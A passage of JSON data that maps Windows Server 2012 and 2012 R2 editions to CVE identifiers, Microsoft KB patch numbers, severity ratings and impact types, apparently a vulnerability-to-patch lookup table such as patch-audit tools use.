Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126587","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197876","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197876","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012214","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015551","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019216","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019216","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041690","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054520","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022724","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025331","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038799","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056896","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056896","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056896","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103730","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103730","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088877","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088877","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088877","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093123","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103730","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462929","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467701","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467701","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103730","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480975","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487025","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480975","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493451","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534283","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537814","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541510","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556840","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556840","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571736","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571736","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601348","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003208","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003208","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003697","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001387","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001387","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004956","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005099","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005623","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006739","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014747","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029295","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025287","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026419","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073698","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028232","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-50868","kb":"5039260","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041851","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043125","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048699","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050004","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053886","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053886","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053886","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055581","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058380","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061059","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066875","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063906","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063906","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082127","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082127","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901127","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-7255","kb":"3197876","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012214","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015551","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019216","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019216","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041690","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054520","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022724","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025331","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038799","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056896","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056896","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056896","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103730","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103730","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088877","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088877","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088877","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093123","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103730","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462929","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467701","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467701","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103730","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480975","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487025","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480975","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493451","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534283","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537814","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541510","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556840","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556840","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571736","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571736","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601348","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003208","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003208","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003697","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001387","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001387","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004956","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005099","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005623","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006739","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014747","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029295","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025287","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026419","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073698","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028232","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-50868","kb":"5039260","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041851","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043125","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048699","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050004","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053886","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053886","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053886","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055581","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058380","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061059","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066875","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063906","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063906","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082127","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082127","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2012 R2":[{"cve":"CVE-2013-3893","kb":"2884101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901125","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964444","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3010788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of 